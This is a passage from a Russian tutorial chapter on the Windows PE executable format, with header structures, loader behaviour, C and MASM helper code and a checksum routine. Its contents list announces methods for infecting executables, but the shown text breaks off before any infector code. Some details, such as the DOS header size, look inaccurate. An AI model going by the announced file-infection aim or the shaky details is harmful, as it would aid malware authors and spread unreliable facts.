От зеленого к красному: Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов


Содержание

  • “От зеленого к красному”.
  • Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов.
    • Общий вид PE-файла.
    • Терминология применимая для файлов PE-формата. 3
  • DOS-MZ заголовок.
  • Файловый заголовок.
  • Опциональный заголовок. 8
    • Работа с заголовками PE-файла. 18
    • Работа с таблицей директорий. 19
  • Таблица секций.
    • Работа с таблицей секций.
    • Таблица Экспорта.
    • Как происходит экспорт.
    • Передача экспорта.
    • Работа с таблицей экспорта.
    • Таблица импорта.
    • Структуры и термины импорта.
    • Стандартный механизм импорта.
    • Пример работы с таблицей импорта.
    • Биндинг.
    • Bound-импорт.
    • Пример работы с Bound-импортом..
    • Delay-импорт.
    • Пример работы с Delay-импортом.
    • Особенности импорта на конкретных реализациях загрузчиков.
  • Базовые поправки.
    • Пример работы с базовыми поправками.
  • Программа PE Inside Console Version.
  • Программа PEInsidev0.5alfa.
  • PE64.
  • Домашнее задание.
  • Способы внедрения внутрь исполняемого файла.
    • Поиск файлов.
    • Проверка PE-файла на правильность.
    • Способ 1. Внедрение в заголовок.
    • Получение важных частей отображения.
    • Переход на старый AddressOfEntryPoint
    • Код инфектора.
    • Способ 2. Запись в конец последней секции.
    • Итоговый размер файла.
    • Код инфектора.
    • Способ 3. Добавление новой секции.
    • Код инфектора.
    • Способ 4. Удаление базовых поправок.
    • Продвинутые приемы при заражении PE-файлов.
  • Резюме.

В этой главе мы исследуем формат исполняемых файлов в операционной системе Windows. Все факты, которые будут касаться этого изложения подходят для ОС WindowsXPcустановленным SP2. Но большинство фактов распространяются на всю платформу Win32. Я буду рассматривать все поля PE-формата полностью. Я привожу здесь описания используемых структур, для того чтобы Вы могли использовать этот документ и как справочник.

Формат PE(PortableExecutable) – это переносимый исполняемый формат файлов. Переносимым он является потому, что он единственный для всех операционных систем Windows(9x,NT). Есть форматы и другие, но для платформы Win32 этот формат является единственным.

PE-формат впервые был использован в ОС Windows3.1. Он был стандартизирован в 1993 году и базируется на формате COFF(CommonObjectFileFormat), который использовался в нескольких UNIXи VMS. Приступим, сначала рассмотрим общий вид PE-файла, чтобы Вы имели представление о нем.

         Общий вид PE-файла

PE-файл в самом своем начале содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2 она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS. Эта структура определена так:

typedef struct _IMAGE_NT_HEADERS 
{
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}

Почти все определения структур PE-файла Вы можете узнать из заголовочного файла WINNT.H, который поставляется вместе с какой-нибудь средой программирования.

Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение IMAGE_NT_SIGNATURE. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. Мы рассмотрим файловый заголовок в соответствующем разделе. После файлового заголовка идет опциональный заголовок — IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. В конце опционального заголовка содержится массив элементов DataDirectory. Он служит для доступа к некоторым сущностям, которые могут быть секциями (о секциях далее), а могут и не быть. В общем случае эти сущности называются – директориями. После опционального заголовка начинается таблица секций. В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не измениться (если там не присутствует проверка контрольной суммы etc.). Вы можете посмотреть, как выглядит PE-файл на рисунке, тогда Вы поймете, о чем я говорил в этом разделе:

Терминология применимая для файлов PE-формата

Секция – непрерывный набор страниц памяти с одинаковыми атрибутами. Бывают секции кода, данных, ресурсов и т.д. Обычно данные делятся на секции, если предполагается, что они будут использоваться одинаковым образом, т.е. например, только для чтения или только для записи. Также, данные могут делиться на секции в зависимости от того, что, представляют из себя, эти данные, например ресурсы или таблица импорта. В общем случае может быть, например 12 секций с одинаковыми атрибутами, и используемые для кода. Мы вправе сами создавать секции, указывая это компиляторам. С другой стороны секция это отдельная сущность PE-файла. Вы только прочтите, что пишут Microsoftв спецификации PE/COFFформата, что такое секция:

«A section is the basic unit of code or data within a PE/COFF file. In an object file, for example, all code can be combined within a single section, or (depending on compiler behavior) each function can occupy its own section. With more sections, there is more file overhead, but the linker is able to link in code more selectively. A section is vaguely similar to a segment in Intel 8086 architecture. All the raw data in a section must be loaded contiguously. In addition, an image file can contain a number of sections, such as .tls or .reloc, that have special purposes»

Прочтите внимательно, Microsoft – звери хитрые, просто так писать ничего не будут, да и НЕ писать тоже. Хотя, время текет и все устаревает.

VA (Virtual Address) – виртуальный адрес. Адрес в адресном пространстве текущего процесса.

RVA (RelativeVirtualAddress) – относительный виртуальный адрес. При загрузке PE-файла, ОС использует механизм файлового мэппинга(FileMapping). Т.е. она проецирует данный exe, dll, sys или scrфайл по какому-то адресу в виртуальном адресном пространстве. Адрес начала проекции называется базовым адресом в памяти данного exe, dll, sys или scrфайла. А смещение относительно базового адреса называется – относительным виртуальным адресом. Например, EXE-файл спроецирован по адресу 400000H. Тогда если PE-заголовок находиться по адресу 4000E0H, то RVAPE-заголовка будет E0. В PE-заголовке очень много параметров указываются через RVA. А если RVAначала инструкций в файле есть 1000H, то виртуальный адрес будет равен 401000H учитывая, что база 400000H. Чтобы посчитать относительный виртуальный адрес по данному виртуальному адресу используется следующая формула:

(1)                                                              RVA = VA — IMAGE_OPTIONAL_HEADER.ImageBase

Иногда возникает необходимость посчитать файловое смещение соответствующее VAили RVA. Если требуется смещение внутри секции, используется следующая формула:

(2)               offset = RVA – IMAGE_SECTION_HEADER.VirtualAddress +                     IMAGE_SECTION_HEADER.PointerRawData

Если смещение находится вне секции, т.е. в заголовке, таблице секций или еще где-нибудь, то естественно файловое смещение равно RVA. Вот код функции, которая возвращает файловое смещение в зависимости от RVA:

//Base - файл проецируется в память, это его база
//RVA - значение, которое нужно преобразовать в Offset
DWORD RVAtoOffset(DWORD Base,DWORD RVA)
{
	PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)((long)Base+((PIMAGE_DOS_HEADER)Base)-»e_lfanew);
	short NumberOfSection=pPE-»FileHeader.NumberOfSections;
	long SectionAlign=pPE-»OptionalHeader.SectionAlignment;
	PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)
	   (pPE-»FileHeader.SizeOfOptionalHeader+(long)&
	   (pPE-»FileHeader)+sizeof(IMAGE_FILE_HEADER));
	long VirtualAddress,PointerToRawData;
	bool flag=false;
	for (int i=0;i«NumberOfSection;i++)
	{
		if ((RVA>=(Section-»VirtualAddress))&&
		   (RVA«Section-»VirtualAddress+
		   ALIGN_UP((Section-»Misc.VirtualSize),SectionAlign) ))
		{
			VirtualAddress=Section-»VirtualAddress;
			PointerToRawData=Section-»PointerToRawData;
			flag=true;
			break;
		}
		Section++;
	}
	if (flag) return RVA-VirtualAddress+PointerToRawData;
	else return RVA;
}

Макрос ALING_UP определен при описании параметра SectionAlignment в опциональном заголовке. Кстати, с помощью CreateFileMapping можно спроецировать файл как PE, т.е. кусками по секциям, а не как  сплошной файл. Это делается так:

HANDLE hFile=CreateFile("c:\\regedit.exe",GENERIC_WRITE | GENERIC_READ,FILE_SHARE_WRITE,
                        NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
HANDLE hMapping=CreateFileMapping(hFile,NULL,PAGE_READWRITE | SEC_IMAGE,0,0,NULL);
HANDLE hMap=MapViewOfFile(hMapping,FILE_MAP_ALL_ACCESS,0,0,0);

Параметр SEC_IMAGEуказывает, что проецировать файл надо как исполняемый. Естественно мы  будем только так проецировать файлы при заражении, чтобы не высчитывать соответствий смещения в файле и RVA.

IAT – таблица адресов импорта. Массив двойных слов, содержащие RVA импортируемых функций.

INT – таблица импортируемых имен. Массив двойных слов, каждое из которых является RVA на ASCIIZ-строку с импортируемой функцией.

DOS-MZзаголовок

В начале файла располагается DOS-MZзаголовок. Он определен следующим образом:

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER

Все что нас интересует здесь — это только одно значение — e_lfanew. Это двойное слово является RVAи указывает на структуру IMAGE_NT_HEADERS. Размер DOS-MZ заголовка составляет 80 байт.

Файловый заголовок

Файловый заголовок находиться в PE-файле сразу же после сигнатуры IMAGE_NT_SIGNATURE. В файле WINNT.Hона определена как 00004550H. Файловый заголовок содержит наиболее общую информацию о данном файле. В файле WINNT.H файловый заголовок определен следующим образом:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER;

Давайте рассмотрим по порядку данные поля.

WORDMachine;

Два байта содержащие платформу, для которой создавался данный PE-файл. Возможные значения приведены ниже.

#define IMAGE_FILE_MACHINE_UNKNOWN           0
#define IMAGE_FILE_MACHINE_I386              0x014c  // Intel 386.
#define IMAGE_FILE_MACHINE_R3000             0x0162  // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000             0x0166  // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000            0x0168  // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2         0x0169  // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA             0x0184  // Alpha_AXP
#define IMAGE_FILE_MACHINE_POWERPC           0x01F0  // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_SH3               0x01a2  // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3E              0x01a4  // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4               0x01a6  // SH4 little-endian
#define IMAGE_FILE_MACHINE_ARM               0x01c0  // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB             0x01c2
#define IMAGE_FILE_MACHINE_IA64              0x0200  // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16            0x0266  // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU           0x0366  // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16         0x0466  // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64           0x0284  // ALPHA64
#define IMAGE_FILE_MACHINE_AXP64             IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_CEF               0xC0EF

ОС Windows поддерживает только две архитектуры и все они — процессоров Intel– IA-32, IA-64. Исходя из этого, только два значения считаются корректными в PE-файле IMAGE_FILE_MACHINE_IA64 и IMAGE_FILE_MACHINE_I386. Если Вы подставите чего-либо другое, загрузчик откажется загружать данный файл. Да и то для 32х разрядных операционных систем (т.е. работающих с 32х разрядными процессорами) – значение единственное — IMAGE_FILE_MACHINE_I386. Очень интересно еще и то, что в официальной спецификации о некоторых значениях просто умалчивается, просто умалчивается и все!

WORD    NumberOfSections;

Количество секций в PE-файле. Значение должно быть верным. Фактически означает число элементов в таблице секций.

DWORD   TimeDateStamp;

Информация о времени, когда был собран данный PE-файл. Это значение равно количеству секунд прошедших с 1 января 1970 года до времени создания файла. В стандартной библиотеке Си есть замечательная функция gmtime, которая переводит время из секунд в удобочитаемый вид. Она берет указатель на DWORD – количество секунд и заполняет структуру tm, определенную в time.h. Эта структура выглядит следующим образом:

struct tm {
  int tm_sec;   /* Секунды */
  int tm_min;   /* Минуты */
  int tm_hour;  /* Часы (0--23) */
  int tm_mday;  /* День месяца (1--31) */
  int tm_mon;   /* Месяц (0--11) */
  int tm_year;  /* Год (минус 1900) */
  int tm_wday;  /* День недели (0--6; Sunday = 0) */
  int tm_yday;  /* День года (0--365) */
  int tm_isdst; /* связано с переход на летнее время */
};

Чтобы узнать какой дате это число соответствует, используйте следующую функцию

void printTimeStamp(DWORD x)
{
struct tm* Time=gmtime((const long *)&x;);
printf("Year:%d\nMonth:%d\nDay:%d\n",Time-»tm_year+1900,Time-»tm_mon,Time-»tm_mday);
}

X – значение поля TimeDateStamp. Чтобы использовать данную функцию необходимо подключить заголовочный файл time.h.

DWORD   PointerToSymbolTable;

Указатель на COFF-таблицу символов PE-формата. Эту же информацию можно найти в элементе массива DataDirectoryс индексом IMAGE_DIRECTORY_ENTRY_DEBUG. Если Вы вдруг не знали, то отладочная информация нужна только для отладчика. Отсюда следует, что мы может размещать в этом поле любое значение.

DWORD   NumberOfSymbols;

Количество символов в COFF-таблице символов. Может принимать любое значение.

WORD    SizeOfOptionalHeader;

Размер опционального заголовка. Опциональный заголовок следует сразу же за файловым заголовком. Размер опционального заголовка зависит от массива DataDirectory, а именно от количества элементов в нем. Обычно в нем 16 элементов, но могут быть и неожиданности. Это поле проверяется загрузчиком и должно быть правильным.

WORD    Characteristics;

Характеристики – это атрибуты специфичные для данного PE-файла. Поле Characteristics 16 битное поле и каждый установленный бит представляет из себя отдельный флаг. Знаете, я не ленив, и опишу все возможные флаги подробно. Конечно, большинство из них не используются в данное время, ведь PE-формат был создан в 1993 году. С этого времени много вещей стали не важны. Но это информация общеобразовательная. Прочитайте, если Вы хотите быть более гибки в области операционных систем.

Определены следующие значения:

#define IMAGE_FILE_fS_STRIPPED           0x0001 

В файле отсутствует информация о базовых поправках. Этот флаг не используется в исполняемых файлах. Вместо этого информация о базовых поправках храниться в каталоге, на который указывает элемент в массиве DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_BASERELOC.

#define IMAGE_FILE_EXECUTABLE_IMAGE          0x0002

Файл является исполняемым  (т.е. не содержит нераспознанных внешних ссылок). Если файл является исполняемым, то он не является объектным файлом или библиотекой.

#define IMAGE_FILE_LINE_NUMS_STRIPPED        0x0004 

В файле отсутствуют номера строк. Это значение не используется в исполняемых файлах.

#define IMAGE_FILE_LOCAL_SYMS_STRIPPED       0x0008

Локальные символы отсутствуют в файле. Это значение не используется в исполняемых файлах.

#define IMAGE_FILE_AGGRESIVE_WS_TRIM         0x0010

Этот флаг установлен, если операционная система ограничивает программу памятью, агрессивно сбрасывая данные приложения в страничный файл. Этот флаг устанавливается для приложений, которые большую часть своего времени ждут, лишь очень редко пробуждаясь.

#define IMAGE_FILE_LARGE_ADDRESS_AWARE       0x0020

Флаг, чтобы приложение могла работать с объемом памяти больше 2 или 3 Гб (в зависимости от загрузочного параметра).

#define IMAGE_FILE_BYTES_REVERSED_LO         0x0080 

и

#define IMAGE_FILE_BYTES_REVERSED_HI         0x8000 

Эти флаги устанавливаются если порядок байт в конце файла, отличен от порядка байт для текущей архитектуры. Т.к. порядок байт в процессорах Intelодинаковый, то этот параметр в данное время не используется.

#define IMAGE_FILE_32BIT_MACHINE             0x0100

Этот флаг установлен, если предполагается, что машина 32- разрядная. Вероятно, если файл будет собран при помощи 64-разраного линкера, то этот флаг не будет установлен.

#define IMAGE_FILE_DEBUG_STRIPPED            0x0200 

Отладочная информация отсутствует в файле. Этот параметр не используется для исполняемых файлов.

#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP   0x0400

Этот флаг установлен, если приложение может не запуститься с переносного носителя, дискеты или CD-ROM. В этом случае ОС переносит данные исполняемый файл в файл подкачки и считывает его оттуда. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на подобном съемном носителе.

#define IMAGE_FILE_NET_RUN_FROM_SWAP         0x0800

Флаг установлен, если приложение может не запуститься по сети. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на общем сетевом ресурсе.

#define IMAGE_FILE_SYSTEM                    0x1000

Этот флаг установлен, если данный файл является системным, подобно драйверу. В настоящее время не используется.

#define IMAGE_FILE_DLL                       0x2000

Данный файл – это динамически подключаемая библиотека(DinamicLinkLibrary). Каждая DLLобязана иметь этот флаг, иначе она не загрузиться. Этот флаг может использоваться EXE, и при этом быть корректным исполняемым файлом.

#define IMAGE_FILE_UP_SYSTEM_ONLY            0x4000

Этот флаг установлен, если приложение не предназначено для многопроцессорных платформ.

Главные поля в файловом заголовке – это количество секций и размер опционального заголовка. Остальные нужны очень редко или не нужны вовсе.

Опциональный заголовок

В опциональном заголовке храниться более специфическая информация о приложении и его потребностях. Я не хочу утомлять Вас, но если Вы это читаете, то будьте добры читать все. Здесь я опишу все поля опционального заголовка. В любом случае тонкости PE-формата нам пригодятся. А где пригодятся, Вы узнаете в этой главе. Следите внимательно.

В WINNT.Hопциональный заголовок – это структура IMAGE_OPTIONAL_HEADER. Она определена следующим образом:

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Стандартные поля
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // дополнительные поля NT
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

Как Вы уже, наверное, заметили, опциональный заголовок абстрактно делится на две части: стандартные поля и дополнительные поля NT. Естественно на реализации это деление не отражается. Рассмотрим поля по порядку. Кстати, опциональный заголовок так называется, потому что, если рассматривать в общем стандарт PE/COFF файлов, то для объектных файлов COFF-формата он отсутствует. Для исполняемых файлов этот заголовок является обязательным. А то некоторые авторитетные товарищи удивляются, почему этот заголовок называется опциональным. А это написано черным по белому в спецификации MicrosoftPE-формата. Размер опционального заголовка не является фиксированным и чтобы узнать его надо обратиться к файловому заголовку.

WORD    Magic;

Это слово служит, чтобы проверить для какой версии спецификации PE этот опциональный заголовок. Возможныезначения:

#define IMAGE_NT_OPTIONAL_HDR32_MAGIC      0x10b

Для спецификации PE32

#define IMAGE_NT_OPTIONAL_HDR64_MAGIC      0x20b

Для спецификации PE64

#define IMAGE_ROM_OPTIONAL_HDR_MAGIC       0x107

Если исполняемый файл после проекции его загрузчиком будет только для чтения. Не используется в настоящее время.

Для 32х разрядных ОС есть одно возможное значение — IMAGE_NT_OPTIONAL_HDR32_MAGIC

BYTE    MajorLinkerVersion;

Старшее слово версии линковщика, создавшего данный файл. Может быть любым.

BYTE    MinorLinkerVersion;

Младшее слово версии линковщика, создавшего данный файл. Может быть любым.

DWORD   SizeOfCode;

Размер секции кода или сумма всех секций кода. В WindowsXPSP2 может быть любым, на остальных ОС надо тестировать отдельно, но, скорее всего, дело обстоит точно также. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.

DWORD   SizeOfInitializedData;

Размер секции с инициализированными данными. То же самое, что и с прошлым параметром.

DWORD   SizeOfUninitializedData;

Размер секции с неинициализированными данными. То же самое, что и с прошлым параметром.

DWORD   AddressOfEntryPoint;

Адрес, с которого начинают считываться инструкции для выполнения. Адрес является RVA. Чтобы указать на адрес ниже базового можно использовать отрицательные значения, т.е. в дополнительном коде. По-другому это называется — целочисленное переполнение.

DWORD   BaseOfCode;

RVAоткуда начинаются секция(и) кода исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.

DWORD   BaseOfData;

RVAоткуда начинаются секция(и) данных исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками.

DWORD   ImageBase;

При запуске PE-файла он будет отображен по частям, начиная с некоторого адреса в памяти. Адрес отображения называется базовым адресом для данного файла. В данном поле храниться базовый адрес PE-файла. Этот файл естественно является VA. От него отсчитываются все RVA. Еcли файл не загружается по каким-то причинам (по этому адресу помять уже зарезервирована) по данному адресу, то загрузчику необходимо применять базовые поправки. Обычно файл загружается по базовому адресу и базовые поправки не нужны. Это позволяет использовать базовые поправки в своих целях. Для компоновщиков, по умолчанию устанавливается базовый адрес 400000H.

DWORD   SectionAlignment;

Секция при загрузке PE-файла в память будет начинаться с адреса кратного данной величине. Вот ограничения данного поля. 1) Это значение представляет собой степень двойки. 2) SectionAlignment>=FileAlignment. Пусть нам дано значение адреса. Нам надо получить выровненное значение в соответствии с выравниванием. Для этого можно использовать следующую формулу:

(3) z = (x + (y-1))&(~(y-1))

,где x – выравниваемое значение, y– выравнивающий фактор.

Посмотрите на пример функции, которое выравнивает вверх нужное значение:

;########################################
;Процедура GetAlignUP
;Получение выровненного-вверх значения
;Вход:  esi - значение для выравнивания
;	edi - выравнивающий фактор
;Выход:eax - выровненное значение
;########################################
GetAlignUp proc
	push esi
	push edi

	dec edi
	add esi,edi
	not edi
	and esi,edi
	mov eax,esi

	pop edi
	pop esi
	ret		
GetAlignUp endp
;########################################
;Конец процедуры GetAlignUP
;########################################

Вот процедура, которая выравнивает вниз нужное значение:

;########################################
;Процедура GetAlignDown
;Получение выровненного-вниз значения
;Вход:  esi - значение для выравнивания
;	edi - выравнивающий фактор
;Выход:eax - выровненное значение
;########################################
GetAlignDown proc
	push esi
	push edi

	dec edi
	not edi
	and esi,edi
	mov eax,esi

	pop edi
	pop esi
	ret		
GetAlignDown endp
;########################################
;Конец процедуры GetAlignDown
;########################################

А вот макросы на Си делающие то же самое:

#define ALIGN_DOWN(x, align)  (x & ~(align-1))//выравнивание вниз
#define ALIGN_UP(x, align)    ((x & (align-1))?ALIGN_DOWN(x,align)+align:x)
                                         //выравнивание вверх

DWORD   FileAlignment;

Эта величина соответствует смещению секций в файле. Размер каждой секции кратен данной величине. Вот ограничения данного поля: 1) Это значение представляет собой степень двойки. 2) Должно быть между 200Hи 10000H. 3) SectionAlignment>=FileAlignment. Вы также можете использовать функцию GetAlignдля получения выровненного значения.

WORD    MajorOperatingSystemVersion;

WORD    MinorOperatingSystemVersion;

Версия ОС, для которой данный файл предназначен. Совершенно никем не проверяемое поле. Может быть любым, но лучше чтобы не нулевое, а то кто-то ругался (привет HardWisdom!)

WORD    MajorImageVersion;

WORD    MinorImageVersion;

Это поле специально для того, чтобы программист создающий программу мог указать версию исполняемого образа. Может быть любым.

WORD    MajorSubsystemVersion;

WORD    MinorSubsystemVersion;

Поле содержит самую старую версию подсистемы, позволяющую запускать данный файл. Должно быть правильным.

DWORD   Win32VersionValue;

Зарезервировано. Может быть любым.

DWORD   SizeOfImage;

Содержит общий размер всех частей отображения. Важно, что загрузчик проверяет значение этого поля по следующей формуле:

(4)                                  SizeOfImage = VirtualSize + VirtualAddress

DWORD   SizeOfHeaders;

Размер заголовков. Вычисляется по формуле

(5)                                     SizeOfHeaders = DOS Stub + PE Header + Object Table

Кратно значению FileAlignment. Должно быть корректным.

DWORD   CheckSum;

Контрольная сумма образа файла. Для обычных исполняемых файлов контрольная сумма не проверяется, т.е. может быть любой. Если она нулевая, то она тоже может быть любой. Для всех системных DLLдолжна быть корректная. Алгоритм контрольной суммы не является закрытым как говорят некоторые. Чтобы получить контрольную сумму данного исполняемого файла надо вызвать функцию CheckSumMappedFile с соответствующими параметрами. Эта функция доступна из библиотеки imagehlp.dll. В этой библиотеке содержится набор функций чтобы работать с PE-файлами. Но нам с Вами эти дурацкие библиотеки не нужны, т.к. мы делаем все вручную (почти все :)). Научитеcь делать сначала вручную, потом используйте свои библиотеки и свой очень компактный, и очень маленький код. Библиотека imagehlp.dll входит в состав ОС и прототипы соответствующих функций содержатся в Imagehlp.h. В статье «Make your own CheckSumMappedFile» by Bumblebee/29a обсуждается, как сделать свою функцию CheckSumMappedFile, но, к сожалению, то что сделал Bumblebee не работает 🙁 Я подправил его код и получилась рабочая функция. Ниже в листинге приведена функция и пример ее использования.

;###########################################################
;
;	Реализация собственной функции CheckSumMappedFile	
;
;###########################################################

.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
.data
	hFile dd 0
	hMapping dd 0
	hMap dd 0
	Name1 db "C:\\kernel32.dll",0
	HeaderSum dd 0fffh
	CheckSum dd 0
.code
start:
invoke CreateFile,offset Name1,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_WRITE,
       NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile,eax

invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL
mov hMapping,eax
invoke MapViewOfFile,hMapping,FILE_MAP_ALL_ACCESS,0,0,0
mov hMap,eax
invoke GetFileSize,hFile,NULL

push offset CheckSum
push offset HeaderSum
push eax
push hMap
call    CheckSumMappedFile              ; Вычисление контрольной суммы
;после этого вызова в eax - окажется контрольная сумма файла с именем Name1
invoke ExitProcess,0

CheckSumMappedFile:;код самой функции
assume fs:nothing
        mov   eax, dword ptr fs:[00000000]
        push  ebp
        mov   ebp, esp
        push  -00000001
        push  7D6C61C0h
        push  7D6C4598h
        push  eax
        mov   eax, dword ptr [ebp+10h]
        mov   dword ptr fs:[00000000], esp
        sub   esp, 00000010h
        push  ebx
        push  esi
        push  edi
        xor   esi, esi
        mov   dword ptr [ebp-18h], esp
        mov   dword ptr [eax], esi
        mov   eax, dword ptr [ebp+0Ch]                ;размер файла
        inc   eax                               
        shr   eax, 1                           
        push  eax                              
        push  dword ptr [ebp+08h]              
        push  esi                              
        call  func0                             
                                           

        mov   word ptr [ebp-1Ah], ax       
        mov   dword ptr [ebp-04h], esi     
	mov eax,dword ptr [ebp+08h]
	assume eax:ptr IMAGE_DOS_HEADER
	mov ecx,dword ptr [eax].e_lfanew
	add eax,ecx
        mov   dword ptr [ebp-20h], eax   
        jmp   saltito0                 
        mov   eax, 00000001         
        ret

        mov   esp, dword ptr [ebp-18h]
        mov   dword ptr [ebp-20h], 00000000

saltito0:                                      
        mov   dword ptr [ebp-04h], 0FFFFFFFFh
        cmp   dword ptr [ebp-20h], 000000000h 
        je    saltito1
        mov   eax, dword ptr [ebp+08h]
        cmp   dword ptr [ebp-20h], eax         
        je    saltito1
        mov   esi, dword ptr [ebp-20h]       
        mov   ecx, dword ptr [ebp+10h]
        add   esi, 00000058h
        mov   edx, 00000001h
        mov   eax, dword ptr [esi]
        mov   dword ptr [ecx], eax
        mov   ecx, edx
        mov   ax, word ptr [esi]
        cmp   word ptr [ebp-1Ah], ax
        adc   ecx, -00000001
        sub   word ptr [ebp-1Ah], cx
        sub   word ptr [ebp-1Ah], ax
        mov   ax, word ptr [esi+02h]
        cmp   word ptr [ebp-1Ah], ax
        adc   edx, -00000001
        sub   word ptr [ebp-1Ah], dx
        sub   word ptr [ebp-1Ah], ax

saltito1:
        movzx ecx, word ptr [ebp-1Ah]
        add   ecx, dword ptr [ebp+0Ch]
        mov   eax, dword ptr [ebp+14h]
        pop   edi
        pop   esi
        pop   ebx
        mov   dword ptr [eax], ecx
        mov   eax, dword ptr [ebp-20h]
        mov   ecx, dword ptr [ebp-10h]
        mov   dword  ptr fs:[00000000], ecx
        mov   esp, ebp
        pop   ebp
        ret   0010h
func0:
        push    esi
        mov     ecx, dword ptr [esp+10h]
        mov     esi, dword ptr [esp+0Ch]
        mov     eax, dword ptr [esp+08h]
        shl     ecx, 1
        je      func0_saltito0
        test    esi, 00000002
        je      func0_saltito1
        sub     edx, edx
        mov     dx, word ptr [esi]
        add     eax, edx
        adc     eax, 00000000
        add     esi, 00000002
        sub     ecx, 00000002

func0_saltito1:
        mov     edx, ecx
        and     edx, 00000007
        sub     ecx, edx
        je      func0_saltito2
        test    ecx, 00000008
        je      func0_saltito3
        add     eax, dword ptr [esi]
        adc     eax, dword ptr [esi+04h]
        adc     eax, 00000000
        add     esi, 00000008
        sub     ecx, 00000008
        je      func0_saltito2

func0_saltito3:
        test    ecx, 00000010h
        je      func0_saltito4
        add     eax, dword ptr [esi]
        adc     eax, dword ptr [esi+04h]
        adc     eax, dword ptr [esi+08h]
        adc     eax, 00000000h
        add     esi, 00000010h
        sub     ecx, 00000010h
        je      func0_saltito2

func0_saltito4:
        test    ecx, 00000020h
        je      func0_saltito5
        add     eax, dword ptr [esi]

